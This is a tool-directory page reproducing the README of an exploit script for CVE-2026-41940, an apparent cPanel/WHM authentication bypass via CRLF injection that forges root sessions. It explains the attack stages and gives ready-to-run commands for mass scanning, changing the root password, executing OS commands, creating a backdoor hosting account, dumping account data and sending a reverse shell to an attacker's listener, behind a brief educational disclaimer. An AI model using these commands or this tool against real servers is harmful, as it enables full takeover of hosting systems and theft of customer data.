Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-41940 — cPanel/WHM Authentication Bypass (Zero-Day Vulnerability) | Kitploit
Tools/GitHubGitHub/christian93111/cve-2026-41940
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlAuthenticationLearning & EducationRed TeamingPayload Development
GitHubchristian93111/cve-2026-41940

CVE-2026-41940

cPanel/WHM Authentication Bypass (Zero-Day Vulnerability)

10243 months agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-41940: cPanel/WHM Authentication Bypass (Single & Multi-Target)

Disclaimer: This document and the associated script (exploit.py) are provided strictly for educational purposes, security research, and authorized penetration testing. Do not use this software against systems you do not own or do not have explicit permission to test.

Overview

exploit.py is a script that demonstrates an authentication bypass vulnerability (CVE-2026-41940) in cPanel & WHM. The vulnerability allows an unauthenticated attacker to inject a root session into the daemon cache via a CRLF injection flaw, ultimately granting root-level WHM access without requiring valid credentials.

Vulnerability Analysis & Exploit Flow

The exploit works by leveraging a CRLF (Carriage Return Line Feed) injection vulnerability within the Basic Authentication handling mechanism, combined with a session propagation flaw. The script automates the attack in four stages:

  1. Pre-Auth Session Minting: Connects to public login endpoints (e.g., /login/ or /cgi/login.cgi) to acquire a baseline unauthenticated session cookie ().
whostmgrsession
  • CRLF Injection: Sends a crafted Basic Authentication header containing a Base64-encoded payload that injects root session fields directly into the cpsrvd session cache. The server's redirect response leaks the generated security token (cpsess).
  • Session Propagation: The raw session cookie is sent to an authenticated WHM endpoint, triggering do_token_denied to propagate the forged session into the daemon cache — making it a valid authenticated session.
  • Verification: Accesses restricted WHM API endpoints (e.g., /json-api/version) using the forged session to confirm root-level access.

  • Prerequisites

    • Python 3.x
    • requests library
    root@kitploit:~
    pip install requests
    

    Usage

    root@kitploit:~
    python exploit.py --target <URL> [options]
    python exploit.py --target-file <FILE> [options]
    

    Arguments

    Target Selection

    ArgumentDescription
    --target URLSingle WHM URL (e.g., https://target:2087)
    --target-file FILEFile with targets (one ip:port per line) — auto-enables check mode

    Network & Core Options

    ArgumentDescription
    --threads NConcurrent threads for multi-target mode (default: 10)
    --hostname HOSTOverride Host header — use when auto-discovery fails or gives wrong hostname
    --timeout NPer-request timeout in seconds (default: 15)
    --retries NRetry count on network errors (default: 3)
    --cookie-name NAMEForce a specific session cookie name (auto-detected if omitted)
    --no-verifySkip Stage 4 verification and proceed anyway

    Exploitation Options (Post-Bypass)

    ArgumentDescription
    --checkCheck-only mode — verify vulnerability without exploiting (auto-set with --target-file)
    --password PASSChange the root password to PASS
    --api FUNCCall a specific WHM JSON-API function
    --api-params K=V,...Comma-separated parameters for --api
    --exec CMDExecute an OS command via WHM scripts/run_script (fallback: rawexec)
    --sessionGenerate a root one-click login URL — open immediately, token expires fast
    --shellDrop into an interactive WHM shell (single target only)
    --dumpDump server info: version, accounts, DNS zones, privileges
    --add-user USER PASS DOMAINCreate a new cPanel hosting account
    --revshell LHOST LPORTSend a bash reverse shell to your listener

    Output Options

    ArgumentDescription
    --output FILESave session token and details to a JSON file

    Examples

    root@kitploit:~
    # Check if target is vulnerable
    python exploit.py --target https://target:2087 --check
    
    # Dump server info (version, accounts, privileges)
    python exploit.py --target https://target:2087 --dump
    
    # Generate a one-click root login URL (paste in browser immediately)
    python exploit.py --target https://target:2087 --session
    
    # Execute a command
    python exploit.py --target https://target:2087 --exec "id"
    
    # Drop into an interactive WHM shell
    python exploit.py --target https://target:2087 --shell
    
    # Change root password
    python exploit.py --target https://target:2087 --password 'NewP@ss!'
    
    # Call WHM API directly
    python exploit.py --target https://target:2087 --api version
    python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
    
    # Create a backdoor cPanel account
    python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
    
    # Send reverse shell
    python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
    
    # Override hostname (use when auto-discovery fails)
    python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
    
    # Scan multiple targets (check-only mode)
    python exploit.py --target-file ips.txt
    python exploit.py --target-file ips.txt --threads 20
    
    # Save session to file
    python exploit.py --target https://target:2087 --dump --output results.json
    

    Interactive Shell Commands

    When using --shell, the following commands are available:

    CommandDescription
    api <function> [k=v ...]Call a WHM JSON-API function (e.g., api version)
    exec <command>Run an OS command via WHM (e.g., exec id)
    passwd <newpass>Change the root password
    dumpDump server information
    revshell <lhost> <lport>Send a reverse shell
    add <user> <pass> <domain>Create a cPanel account
    save <path>Save the current session to a file
    exit / quitExit the shell

    Reminder

    Update the latest cPanel/WHM security patches immediately.

    Download Tool